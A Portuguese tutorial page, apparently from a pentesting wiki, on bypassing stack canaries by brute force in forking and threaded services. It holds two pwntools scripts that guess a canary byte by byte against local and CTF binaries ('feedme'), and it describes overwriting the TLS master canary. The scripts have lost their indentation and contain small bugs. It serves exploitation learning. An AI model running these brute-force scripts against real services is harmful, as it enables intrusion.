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# BF Forked & Threaded Stack Canaries

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{% endhint %}

**Se você estiver lidando com um binário protegido por um canário e PIE (Position Independent Executable), provavelmente precisará encontrar uma maneira de contorná-los.**

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{% hint style="info" %}
Observe que o **`checksec`** pode não detectar que um binário está protegido por um canário se ele foi compilado estaticamente e não é capaz de identificar a função.\
No entanto, você pode perceber manualmente isso se encontrar que um valor é salvo na pilha no início de uma chamada de função e esse valor é verificado antes de sair.
{% endhint %}

## Brute force no Canary

A melhor maneira de contornar um canário simples é se o binário for um programa **que cria processos filhos toda vez que você estabelece uma nova conexão** com ele (serviço de rede), porque toda vez que você se conecta a ele **o mesmo canário será usado**.

Então, a melhor maneira de contornar o canário é simplesmente **forçá-lo caractere por caractere**, e você pode descobrir se o byte do canário adivinhado estava correto verificando se o programa travou ou continua seu fluxo regular. Neste exemplo, a função **força bruta um canário de 8 Bytes (x64)** e distingue entre um byte adivinhado correto e um byte ruim apenas **verificando** se uma **resposta** é enviada de volta pelo servidor (outra forma em **outras situações** poderia ser usando um **try/except**):

### Exemplo 1

Este exemplo é implementado para 64 bits, mas poderia ser facilmente implementado para 32 bits.
```python
from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
### Exemplo 2

Isso é implementado para 32 bits, mas poderia ser facilmente alterado para 64 bits.\
Também observe que, para este exemplo, o **programa espera primeiro um byte para indicar o tamanho da entrada** e a carga útil.
```python
from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
```
## Threads

As threads do mesmo processo também **compartilharão o mesmo token canary**, portanto será possível **forçar a barra** de um canary se o binário gerar uma nova thread sempre que um ataque ocorrer.&#x20;

Além disso, um **estouro de buffer em uma função com thread** protegida com canary poderia ser usado para **modificar o canary mestre armazenado no TLS**. Isso ocorre porque pode ser possível alcançar a posição de memória onde o TLS é armazenado (e, portanto, o canary) por meio de um **estouro de buffer na pilha** de uma thread.\
Como resultado, a mitigação é inútil porque a verificação é feita com dois canaries que são iguais (embora modificados).\
Este ataque é realizado no writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)

Confira também a apresentação de [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) que menciona que geralmente o **TLS** é armazenado por **`mmap`** e quando uma **pilha** de **thread** é criada, também é gerada por `mmap` de acordo com isso, o que pode permitir o estouro conforme mostrado no writeup anterior.

## Outros exemplos e referências

* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64 bits, sem PIE, nx, BF canary, escreva em alguma memória um ROP para chamar `execve` e pule para lá.